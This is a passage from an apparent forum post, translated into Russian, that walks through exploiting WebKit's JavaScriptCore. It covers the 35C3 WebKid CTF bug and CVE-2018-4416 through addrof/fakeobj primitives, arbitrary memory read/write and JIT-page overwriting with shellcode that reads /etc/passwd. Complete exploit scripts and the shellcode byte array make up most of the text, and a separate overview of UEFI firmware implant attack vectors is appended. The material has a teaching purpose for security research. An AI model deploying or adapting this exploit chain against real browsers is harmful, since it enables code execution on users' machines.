haxxArray[0] = obj;
}
for (var i = 0; i < 100000; i++) {
returnElem();
setElem(13.37);
}
delete haxxArray.newProperty;
haxxArray[0] = {};
function addrof(obj) {
haxxArray[0] = obj;
return returnElem();
}
function fakeobj(address) {
setElem(address);
return haxxArray[0];
}
// JIT code treat it as intereger, but it actually should be an object.
// We can leak address from it
print(addrof({}));
// Almost the same as above, but it's for write data
print(fakeobj(addrof({})));
Сервисные функции
Скрипт эксплойта создает множество служебных функций. Они помогают нам
создавать примитивы, которые вам нужны практически в каждом веб-эксплойте. Мы
рассмотрим только некоторые важные функции.
Получение нативного кода
Для атаки нам нужна функция встроенного кода для написания шеллкода или ROP.
Кроме того, функции будут нативным кодом только после многократного запуска
(этот в pwn.js):
Code:Copy to clipboard
function jitCompile(f, ...args) {
for (var i = 0; i < ITERATIONS; i++) {
f(...args);
}
}
function makeJITCompiledFunction() {
// Some code that can be overwritten by the shellcode.
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}
jitCompile(target, 123);
return target;
}
Управляющие байты
В int64.js мы создаем класс Int64. Он использует Uint8Array для хранения числа
и создает множество связанных операций, таких как add и sub. В предыдущей
главе мы упоминали, что JavaScript использует теговое значение для
представления числа, что означает, что вы не можете контролировать старший
байт. Массив Uint8Array представляет 8-битные целые числа без знака, как и
собственное значение, что позволяет нам контролировать все 8 байтов.
Простой пример использования Uint8Array:
Code:Copy to clipboard
var x = new Uint8Array([17, -45.3]);
var y = new Uint8Array(x);
console.log(x[0]);
// 17
console.log(x[1]); // value will be converted 8 bit unsigned integers
// 211
Его можно объединить в 16-байтовый массив. Ниже показано, что Uint8Array хранит данные в собственном виде, потому что 0x0201 == 513:
Code:Copy to clipboard
a = new Uint8Array([1,2,3,4])
b = new Uint16Array(a.buffer)
// Uint16Array [513, 1027]
Остальные функции Int64 - это симуляции различных операций. Вы можете вывести их реализации из их имен и комментариев. Читать коды тоже легко.
Написание эксплойта
Подробно о скрипте
Я добавляю некоторые комментарии из оригинальной рецензии Saelo (большинство
комментариев все еще являются его работой, большое спасибо!):
Code:Copy to clipboard
const ITERATIONS = 100000;
// A helper function returns function with native code
function jitCompile(f, ...args) {
for (var i = 0; i < ITERATIONS; i++) {
f(...args);
}
}
jitCompile(function dummy() { return 42; });
// Return a function with native code, we will palce shellcode in this function later
function makeJITCompiledFunction() {
// Some code that can be overwritten by the shellcode.
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}
jitCompile(target, 123);
return target;
}
function setup_addrof() {
var o = [1.1, 2.2, 3.3, 4.4];
o.addrof_property = 42;
// JIT compiler will install a watchpoint to discard the
// compiled code if the structure of |o| ever transitions
// (a heuristic for |o| being modified). As such, there
// won't be runtime checks in the generated code.
function helper() {
return o[0];
}
jitCompile(helper);
// This will take the newly added fast-path, changing the structure
// of |o| without the JIT code being deoptimized (because the structure
// of |o| didn't transition, |o| went "back" to an existing structure).
delete o.addrof_property;
// Now we are free to modify the structure of |o| any way we like,
// the JIT compiler won't notice (it's watching a now unrelated structure).
o[0] = {};
return function(obj) {
o[0] = obj;
return Int64.fromDouble(helper());
};
}
function setup_fakeobj() {
var o = [1.1, 2.2, 3.3, 4.4];
o.fakeobj_property = 42;
// Same as above, but write instead of reading from the array.
function helper(addr) {
o[0] = addr;
}
jitCompile(helper, 13.37);
delete o.fakeobj_property;
o[0] = {};
return function(addr) {
helper(addr.asDouble());
return o[0];
};
}
function pwn() {
var addrof = setup_addrof();
var fakeobj = setup_fakeobj();
// verify basic exploit primitives work.
var addr = addrof({p: 0x1337});
assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
print('[+] exploit primitives working');
// from saelo: spray structures to be able to predict their IDs.
// from Auxy: I am not sure about why spraying. i change the code to:
//
// var structs = []
// var i = 0;
// var abc = [13.37];
// abc.pointer = 1234;
// abc['prop' + i] = 13.37;
// structs.push(abc);
// var victim = structs[0];
//
// and the payload still work stablely. It seems this action is redundant
var structs = []
for (var i = 0; i < 0x1000; ++i) {
var array = [13.37];
array.pointer = 1234;
array['prop' + i] = 13.37;
structs.push(array);
}
// take an array from somewhere in the middle so it is preceeded by non-null bytes which
// will later be treated as the butterfly length.
var victim = structs[0x800];
print(`[+] victim @ ${addrof(victim)}`);
// craft a fake object to modify victim
var flags_double_array = new Int64("0x0108200700001000").asJSValue();
var container = {
header: flags_double_array,
butterfly: victim
};
// create object having |victim| as butterfly.
var containerAddr = addrof(container);
print(`[+] container @ ${containerAddr}`);
// add the offset to let compiler recognize fake structure
var hax = fakeobj(Add(containerAddr, 0x10));
// origButterfly is now based on the offset of **victim**
// because it becomes the new butterfly pointer
// and hax[1] === victim.pointer
var origButterfly = hax[1];
var memory = {
addrof: addrof,
fakeobj: fakeobj,
// Write an int64 to the given address.
writeInt64(addr, int64) {
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = int64.asJSValue();
},
// Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
write16(addr, value) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = value;
},
// Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
write(addr, data) {
while (data.length % 4 != 0)
data.push(0);
var bytes = new Uint8Array(data);
var ints = new Uint16Array(bytes.buffer);
for (var i = 0; i < ints.length; i++)
this.write16(Add(addr, 2 * i), ints[i]);
},
// Read a 64 bit value. Only works for bit patterns that don't represent NaN.
read64(addr) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
return this.addrof(victim.pointer);
},
// Verify that memory read and write primitives work.
test() {
var v = {};
var obj = {p: v};
var addr = this.addrof(obj);
assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");
var propertyAddr = Add(addr, 0x10);
var value = this.read64(propertyAddr);
assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");
this.write16(propertyAddr, 0x1337);
assert(obj.p == 0x1337, "write16 does not work");
},
};
// Testing code, not related to exploit
var plainObj = {};
var header = memory.read64(addrof(plainObj));
memory.writeInt64(memory.addrof(container), header);
memory.test();
print("[+] limited memory read/write working");
// get targetd function
var func = makeJITCompiledFunction();
var funcAddr = memory.addrof(func);
// change the JIT code to shellcode
// offset addjustment is a little bit complicated here :P
print(`[+] shellcode function object @ ${funcAddr}`);
var executableAddr = memory.read64(Add(funcAddr, 24));
print(`[+] executable instance @ ${executableAddr}`);
var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
print(`[+] JITCode instance @ ${jitCodeObjAddr}`);
// var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); // offset for debug builds
// final JIT Code address
var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
print(`[+] JITCode @ ${jitCodeAddr}`);
var s = "A".repeat(64);
var strAddr = addrof(s);
var strData = Add(memory.read64(Add(strAddr, 16)), 20);
shellcode.push(...strData.bytes());
// write shellcode
memory.write(jitCodeAddr, shellcode);
// trigger shellcode
var res = func();
var flag = s.split('\n')[0];
if (typeof(alert) !== 'undefined')
alert(flag);
print(flag);
}
if (typeof(window) === 'undefined')
pwn();
Conclusion on the Exploitation
В заключение, эксплойт использует два наиболее важных примитива атаки - addrof
и fakeobj - для утечки и крафта. Функция JITed пропускается и перезаписывается
нашим массивом шеллкодов. Затем мы вызвали функцию утечки флага. Почти все
браузерные эксплойты следуют этой форме.
Спасибо организаторам 35C3 CTF, особенно Saelo. Изучить путаницу типов WebKit очень сложно.
Отладка WebKit
Теперь мы поняли все теории: архитектура, объектная модель, эксплуатация.
Давайте начнем некоторые реальные операции. Для подготовки воспользуйтесь
скомпилированным JSC из раздела «Настройка». Просто используйте последнюю
версию, так как мы обсуждаем только отладку здесь.
Раньше я пытался установить точки останова, чтобы найти их адреса, но на самом деле это очень глупо. У JSC есть много нестандартных функций, которые могут собирать для нас информацию (большинство из них нельзя использовать в Safari!):
Установка точек останова
Самый простой способ установить (breakpoints) - сломать неиспользуемую
функцию. Что-то вроде print или Array.prototype.slice ([]) ;. Поскольку мы не
знаем, повлияет ли функция на один PoC большую часть времени, этот метод может
принести некоторый побочный эффект.
Установка уязвимых функций в качестве наших (breakpoints) также работает. Когда вы попытаетесь понять уязвимость, ее устранение будет чрезвычайно важно. Но их стеки вызова могут не быть приятными.
Мы также можем настроить функцию отладки (используйте int 3) в исходном коде WebKit. Определение, реализация и регистрация нашей функции в /Source/JavaScriptCore/jsc.cpp. Это помогает нам повесить WebKit в отладчиках:
Code:Copy to clipboard
static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*);
addFunction(vm, "dbg", functionDbg, 0);
static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) {
asm("int 3");
return JSValue::encode(jsUndefined());
}
Поскольку третий метод требует от нас изменения исходного кода, я предпочитаю два предыдущих лично.
Inspecting JSC Objects
Хорошо, мы используем этот скрипт:
Code:Copy to clipboard
arr = [0, 1, 2, 3]
debug(describe(arr))
print()
Используйте наш GDB с Gef для отладки; Вы можете догадаться, что мы сломаем print():
Code:Copy to clipboard
gdb jsc
gef> b *printInternal
gef> r
--> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100
...
// Some backtrace
Адрес объекта и (butterfly pointer ) могут отличаться на вашем компьютере. Если мы отредактируем скрипт, адрес также может измениться. Пожалуйста, настройте их в соответствии с вашими результатами.
Click to expand...
У нас будет первый взгляд на объект и его указатель:
Code:Copy to clipboard
gef> x/2gx 0x7fffaf4b4350
0x7fffaf4b4350: 0x0108211500000064 0x00007ff8000e0010
gef> x/4gx 0x00007ff8000e0010
0x7ff8000e0010: 0xffff000000000000 0xffff000000000001
0x7ff8000e0020: 0xffff000000000002 0xffff000000000003
Что, если мы изменим в тип данных на float?
Code:Copy to clipboard
arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214]
debug(describe(arr))
print()
Здесь мы используем небольшую хитрость: 2261634.5098039214 представляет в памяти 0x4141414141414141. Поиск значения удобнее по номеру (здесь мы прямо используем butterfly pointer). По умолчанию JSC заполнит неиспользуемую память 0x00000000badbeef0:
Code:Copy to clipboard
gef> x/10gx 0x00007ff8000e0010
0x7ff8000e0010: 0x3ff0000000000000 0x3ff0000000000000
0x7ff8000e0020: 0x4141414141414141 0x4141414141414141
0x7ff8000e0030: 0x00000000badbeef0 0x00000000badbeef0
0x7ff8000e0040: 0x00000000badbeef0 0x00000000badbeef0
0x7ff8000e0050: 0x00000000badbeef0 0x00000000badbeef0
Схема памяти такая же, как и в объектной модели JSC, поэтому мы не будем здесь повторяться.
Получение нативного кода
Теперь пришло время получить скомпилированную функцию. Она играет важную роль
в понимании JSC компилятора и эксплуатации:
Code:Copy to clipboard
const ITERATIONS = 100000;
function jitCompile(f, ...args) {
for (var i = 0; i < ITERATIONS; i++) {
f(...args);
}
}
jitCompile(function dummy() { return 42; });
debug("jitCompile Ready")
function makeJITCompiledFunction() {
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}
jitCompile(target, 123);
return target;
}
func = makeJITCompiledFunction()
debug(describe(func))
print()
Нетрудно, если вы внимательно прочитаете предыдущий раздел. Теперь мы должны получить их собственный код в отладчике:
Code:Copy to clipboard
--> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63
...
// Some backtrace
...
gef> x/gx 0x7fffaf468120+24
0x7fffaf468138: 0x00007fffaf4fd080
gef> x/gx 0x00007fffaf4fd080+24
0x7fffaf4fd098: 0x00007fffefe46000
// In debug mode, it's okay to use 368 as offset
// In release mode, however, it should be 352
gef> x/gx 0x00007fffefe46000+368
0x7fffefe46170: 0x00007fffafe02a00
gef> hexdump byte 0x00007fffafe02a00
0x00007fffafe02a00 55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f UH..H.e.H.`.E...
0x00007fffafe02a10 00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af ..H.E.H.E.I.....
0x00007fffafe02a20 ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d ....I9.......H.M
0x00007fffafe02a30 30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82 0H.........H9...
Поместите свой дамп байта в rasm2:
Code:Copy to clipboard
rasm -d "you dump byte here"
push ebp
dec eax
mov ebp, esp
dec eax
lea esp, [ebp - 0x30]
dec eax
mov eax, 0xaf450c60
invalid
jg 0x11
add byte [eax - 0x77], cl
inc ebp
adc byte [eax - 0x73], cl
inc ebp
mov al, 0x49
mov ebx, 0xafc12eb8
invalid
jg 0x23
add byte [ecx + 0x39], cl
add ecx, dword [edi]
xchg dword [eax + eax - 0x74b80000], ebx
dec ebp
xor byte [eax - 0x48], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
invalid
dec dword [eax + 0x39]
ror dword [edi], 0x82
Эмммм… код разборки частично неверный. По крайней мере, сейчас мы можем увидеть тестовую версию.
1 Day - Эксплуатация
Давайте воспользуемся этой ошибкой в разделе об ошибке: CVE-2018-4416.
Это type confusion. Поскольку мы уже говорили о WebKid, аналогичной проблеме CTF, в которой есть ошибка путаницы типов, понять ее не составит труда. Переключитесь на уязвимую ветку и начните наше путешествие.
PoC предоставляется в начале статьи. Скопируйте и вставьте int64.js, shellcode.js и utils.js из репозитория WebKit на свою виртуальную машину.
Первопричина
Цитата от Lokihardt
Ниже приведено описание CVE-2018-4416 от Lokihardt с моим частичным
выделением.
Когда выполняется цикл for-in, вначале создается объект JSPropertyNameEnumerator, который используется для хранения информации входного объекта в цикле for-in. Внутри цикла идентификатор структуры объекта «this» каждого get_by_idexpression, принимающего переменную цикла в качестве индекса, сравнивается с идентификатором кэшированной структуры из объекта JSPropertyNameEnumerator. Если это то же самое, объект this в выражении get_by_id будет считаться имеющим ту же структуру, что и входной объект в цикле for-in.
Проблема в том, что у него нет ничего, что могло бы помешать структуре, из которой освобождается идентификатор кэшированной структуры. Поскольку структурные идентификаторы могут быть повторно использованы после освобождения их владельцев, это может привести к путанице типов.
Построчное объяснение
Комментарий в / * * / - мой анализ, который может быть неточным. Комментарий
после // принадлежит Lokihardt:
Code:Copy to clipboard
function gc() {
for (let i = 0; i < 10; i++) {
let ab = new ArrayBuffer(1024 * 1024 * 10);
}
}
function opt(obj) {
// Starting the optimization.
for (let i = 0; i < 500; i++) {
}
/* Step 3 */
/* This is abother target */
/* We want to confuse it(tmp) with obj(fake_object_memory) */
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
/* Step 4 */
/* Change the structure of tmp to {} */
tmp.__proto__ = {};
gc();
/* The structure of obj is also {} now */
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
/* Step 5 */
/* Compiler believes obj and tmp share the same type now */
/* Thus, obj[k] will retrieve data from object with offset a */
/* In the patched version, it should be undefined */
return obj[k]; // Type confusion.
}
}
/* Step 0 */
/* Prepare structure {} */
opt({});
/* Step 1 */
/* Target Array, 0x1234 is our fake address*/
let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x1234;
/* Step 2 */
/* Trigger type confusion*/
let fake_object = opt(fake_object_memory);
/* JSC crashed */
print(fake_object);
Отладка
Давайте отладим это, чтобы проверить нашу мысль. Я модифицирую оригинальный
PoC для облегчения отладки. Но они почти идентичны, за исключением
дополнительного print ():
Code:Copy to clipboard
function gc() {
for (let i = 0; i < 10; i++) {
let ab = new ArrayBuffer(1024 * 1024 * 10);
}
}
function opt(obj) {
// Starting the optimization.
for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
debug("Confused Object: " + describe(obj));
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x41424344;
let fake_object = opt(fake_object_memory);
print()
print(fake_object)
Затем gdb ./jsc, b * printInternal и r poc.js. Мы можем получить:
Code:Copy to clipboard
...
--> Confused Object: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142
--> Confused Object: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142
...
Давайте взглянем на наш поддельный адрес. Теперь установим точку наблюдения, чтобы отслеживать ее поток:
Code:Copy to clipboard
gef> x/4gx 0x7fffaf6cbe40
0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000
0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064
gef> x/4gx 0x00007fe8014fc000
0x7fe8014fc000: 0x0000000041424344 0x0000000000000000
0x7fe8014fc010: 0x0000000000000000 0x0000000000000000
gef> rwatch *0x7fe8014fc000
Hardware read watchpoint 2: *0x7fe8014fc000
Мы получим ожидаемый результат позже:
Code:Copy to clipboard
Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000
Value = 0x41424344
0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133
133 StructureID structureID() const { return m_structureID; }
Но почему это отображается в структуре ID? Мы можем получить ответ из их макета памяти:
Code:Copy to clipboard
obj (fake_object_memory):
0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000
0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064
tmp ({a: 1}):
0x7fffaf6cbdc0: 0x000016000000008b 0x0000000000000000
0x7fffaf6cbdd0: 0xffff000000000001 0x0000000000000000
Итак, указатель Uin32Array возвращается как объект. И m_structureID находится в начале каждого объекта JS. Так как 0x1234 является первым элементом нашего массива, для StructureID () целесообразно его получить.
Теперь мы можем использовать данные в Uint32Array для создания поддельного объекта. Потрясающие!
Построение примитива для атаки
addrof
Теперь мы должны создать легальный объект. Я выбираю {} (пустой объект) в
качестве нашей цели.
Так выглядит пустой объект в памяти (игнорируйте скрипты и отладку здесь):
0x7fe8014fc000: 0x010016000000008a 0x0000000000000000
Хорошо, это начинается с 0x010016000000008a. Мы можем смоделировать это в Uint32Array(не забудьте вставить gc и выбрать здесь):
Code:Copy to clipboard
function gc() {
... // Same as above's
}
function opt(obj) {
... // Same as above;s
}
opt({});
let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x0000004c;
fake_object_memory[1] = 0x01001600;
let fake_object = opt(fake_object_memory);
fake_object.a = {}
print(fake_object_memory[4])
print(fake_object_memory[5])
Возвращаются два загадочных числа:
Code:Copy to clipboard
2591768192 # hex: 0x9a7b3e80
32731 # hex: 0x7fdb
Очевидно, это в формате указателя. Мы можем украсть произвольный объект сейчас!
fakeobj
Получение fakeob практически идентично созданию addrof. Разница в том, что вам
нужно заполнить адрес UInt32Array, а затем получить объект через атрибут a в
fake_object
Произвольное R (чтение) / W (запись) и выполнение Shellcode
Это похоже на скрипт эксплойта в вызове WebKid. Полный сценарий слишком
длинный, чтобы объяснять построчно. Вы можете, однако, найти его
здесь. Возможно, вам придется
попробовать около 10 раз, чтобы он запутился. Он будет читать ваш / etc /
passwd при успешном выполнении. Вот основной код:
Code:Copy to clipboard
// get compiled function
var func = makeJITCompiledFunction();
function gc() {
for (let i = 0; i < 10; i++) {
let ab = new ArrayBuffer(1024 * 1024 * 10);
}
}
// Typr confusion here
function opt(obj) {
for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) {
tmp.__proto__ = {};
gc();
obj.__proto__ = {};
// Compiler are misleaded that obj and tmp shared same type
return obj[k];
}
}
opt({});
// Use Uint32Array to craft a controable memory
// Craft a fake object header
let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x0000004c;
fake_object_memory[1] = 0x01001600;
let fake_object = opt(fake_object_memory);
debug(describe(fake_object))
// Use JIT to stablized our attribute
// Attribute a will be used by addrof/fakeobj
// Attrubute b will be used by arbitrary read/write
for (i = 0; i < 0x1000; i ++) {
fake_object.a = {test : 1};
fake_object.b = {test : 1};
}
// get addrof
// we pass a pbject to fake_object
// since fake_object is inside fake_object_memory and represneted as integer
// we can use fake_object_memory to retrieve the integer value
function setup_addrof() {
function p32(num) {
value = num.toString(16)
return "0".repeat(8 - value.length) + value
}
return function(obj) {
fake_object.a = obj
value = ""
value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4])
return new Int64(value)
}
}
// Same
// But we pass integer value first. then retrieve object
function setup_fakeobj() {
return function(addr) {
//fake_object_memory[4] = addr[0]
//fake_object_memory[5] = addr[1]
value = addr.toString().replace("0x", "")
fake_object_memory[4] = parseInt(value.slice(8, 16), 16)
fake_object_memory[5] = parseInt(value.slice(0, 8), 16)
return fake_object.a
}
}
addrof = setup_addrof()
fakeobj = setup_fakeobj()
debug("[+] set up addrof/fakeobj")
var addr = addrof({p: 0x1337});
assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
debug('[+] exploit primitives working');
// Use fake_object + 0x40 cradt another fake object for read/write
var container_addr = Add(addrof(fake_object), 0x40)
fake_object_memory[16] = 0x00001000;
fake_object_memory[17] = 0x01082007;
var structs = []
for (var i = 0; i < 0x1000; ++i) {
var a = [13.37];
a.pointer = 1234;
a['prop' + i] = 13.37;
structs.push(a);
}
// We will use victim as the butterfly pointer of contianer object
victim = structs[0x800]
victim_addr = addrof(victim)
victim_addr_hex = victim_addr.toString().replace("0x", "")
fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16)
fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16)
// Overwrite container to fake_object.b
container_addr_hex = container_addr.toString().replace("0x", "")
fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16)
fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16)
var hax = fake_object.b
var origButterfly = hax[1];
var memory = {
addrof: addrof,
fakeobj: fakeobj,
// Write an int64 to the given address.
// we change the butterfly of victim to addr + 0x10
// when victim change the pointer attribute, it will read butterfly - 0x10
// which equal to addr + 0x10 - 0x10 = addr
// read arbiutrary value is almost the same
writeInt64(addr, int64) {
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = int64.asJSValue();
},
// Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
write16(addr, value) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = value;
},
// Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
write(addr, data) {
while (data.length % 4 != 0)
data.push(0);
var bytes = new Uint8Array(data);
var ints = new Uint16Array(bytes.buffer);
for (var i = 0; i < ints.length; i++)
this.write16(Add(addr, 2 * i), ints[i]);
},
// Read a 64 bit value. Only works for bit patterns that don't represent NaN.
read64(addr) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
return this.addrof(victim.pointer);
},
// Verify that memory read and write primitives work.
test() {
var v = {};
var obj = {p: v};
var addr = this.addrof(obj);
assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");
var propertyAddr = Add(addr, 0x10);
var value = this.read64(propertyAddr);
assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");
this.write16(propertyAddr, 0x1337);
assert(obj.p == 0x1337, "write16 does not work");
},
};
memory.test();
debug("[+] limited memory read/write working");
// Get JIT code address
debug(describe(func))
var funcAddr = memory.addrof(func);
debug(`[+] shellcode function object @ ${funcAddr}`);
var executableAddr = memory.read64(Add(funcAddr, 24));
debug(`[+] executable instance @ ${executableAddr}`);
var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
debug(`[+] JITCode instance @ ${jitCodeObjAddr}`);
var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));
//var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
debug(`[+] JITCode @ ${jitCodeAddr}`);
// Our shellcode
var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41]
var s = "A".repeat(64);
var strAddr = addrof(s);
var strData = Add(memory.read64(Add(strAddr, 16)), 20);
// write shellcode
shellcode.push(...strData.bytes());
memory.write(jitCodeAddr, shellcode);
// trigger and get /etc/passwd
func();
print()
_Заключение
Мы продемонстрировали эксплуатацию самой сложной части браузера - движка
JavaScript. Тем не менее, браузер огромен. Есть много других сбособов атаки,
таких как DOM и WASM. Некоторые исследователи также находят ошибки в базе
данных SQL, используемой браузерами, которые могут быть превращены в RCE.
Будьте терпеливы и будьте творческими.
Дополнительные материалы_
Перевод: NokZKH
Оригинал: https://www.auxy.xyz/tutorial/2018/12/05/Webkit-Exp-Tutorial.html
xss.is (c)
Уже было представлено множество исследований о проблемах в экосистеме прошивки UEFI и о том, как относительно легко доставить и установить имплантат / руткит. Но в этом посте я хочу сосредоточиться на классификации уязвимостей и векторов атак, которая открывает двери BIOS для постоянного заражения. Обратите внимание, что модель угроз, представленная на следующем рисунке, охватывает только потоки, связанные с микропрограммой UEFI, тогда как в настоящее время объем проблем безопасности для [Intel ME](http://blog.ptsecurity.com/2018/10/intel-me-manufacturing-mode- macbook.html) и[ AMT ](https://embedi.org/resources/the-adventure-of-the- final-intel-amt-problem/)значительно увеличивается. Кроме того, в последние несколько лет BMC стал очень важным ресурсом безопасности для серверных платформ удаленного управления и привлекает к себе большое внимание исследователей.
Все классы уязвимостей на этом рисунке могут помочь злоумышленнику нарушить границы безопасности и установить постоянные имплантаты.
Все уязвимости можно разделить на две большие группы: «Пост-эксплуатация» и «Скомпрометированная цепочка поставок».
Давайте начнем склассов уязвимостей из части рисунка, посвященной эксплуатации.
Безопасный обход загрузки - фокусируется на компрометации процесса безопасной загрузки за счет использования Root of Trust (полный компромисс) или уязвимости на одном из этапов загрузки перед загрузкой ОС. Обходы безопасной загрузки могут происходить на разных этапах загрузки и могут быть использованы атакующим против всех последующих уровней и их механизмов доверия.
Повышение привилегий SMM - SMM обладает большой мощностью на оборудовании x86, так как почти все проблемы повышения привилегий для SMM заканчиваются проблемами исполнения кода. Повышение привилегий до SMM часто является одним из заключительных этапов установки имплантата BIOS.
UEFI Firmware Implant - завершающий этап установки постоянного BIOS- имплантата. Он может быть установлен на разных уровнях прошивки UEFI в качестве модифицированного легитимного модуля или автономного драйвера (DXE, PEI).
Persistent Implant - имплантат BIOS, который выдерживает полный цикл перезагрузки и завершения работы. Кроме того, в некоторых случаях можно изменить образы обновлений BIOS перед установкой, чтобы пережить процесс после обновления.
Непостоянный имплантат - имплантат BIOS, который не выдерживает полных циклов перезагрузки и выключения (в некоторых случаях может пережить спящий режим или состояние гибернации). Сосредоточены на повышении привилегий и выполнении кода внутри ОС с защищенной виртуализацией оборудования (например, Intel VT-x) и уровнями доверенного выполнения (например, MS VBS). Также может использоваться для доставки вредоносных полезных данных в режиме ядра или для отключения изоляции памяти TEE.
Класс уязвимостей, возникающих после эксплуатации, является лидирующим для постоянной или непостоянной установки имплантатов после успешной эксплуатации на предыдущих этапах. Но Compromised Supply Chain - это еще один важный класс сценариев, в которых критические проблемы безопасности могут возникать из-за невольных ошибок команды разработчиков BIOS или поставщика оборудования OEM, или из-за преднамеренных неправильных настроек целевого программного обеспечения, предназначенных для предоставления злоумышленникам надежного обхода платформы. функции безопасности.
Неправильная конфигурация аппаратного и микропрограммного обеспечения становится важным вектором для атак в ситуациях, когда владелец аппаратного обеспечения не может контролировать физический доступ к аппаратному обеспечению, например, если оставить ноутбук в проверенной сумке, сдать его для иностранной таможенной проверки или просто оставить в гостиничный номер. Все эти ситуации могут служить возможностью для доставки имплантатов BIOS. Эти векторы атаки иногда называют «атакой злой служанки», которую можно рассматривать как удобный универсальный термин для любой угрозы за пределами компромисса цепочки поставок. Наиболее распространенные примеры включают установку встроенного программного обеспечения или аппаратного обеспечения, использование аппаратных уязвимостей для обхода полного шифрования диска или даже простые атаки на конфиденциальность данных, такие как клонирование жесткого диска.
Неверно сконфигурированные средства защиты - неверные конфигурации технологий защиты, введенные в процессе разработки или после производства.
Незащищенный Root of Trust - Root of Trust может быть скомпрометирован из ОС через ее интерфейсы связи с микропрограммой (например, SMM).
Вредоносные периферийные устройства - имплантированные периферийные устройства могут быть установлены на стадии производства или поставки. Вредоносные устройства могут использоваться несколькими способами, например, для атак DMA.
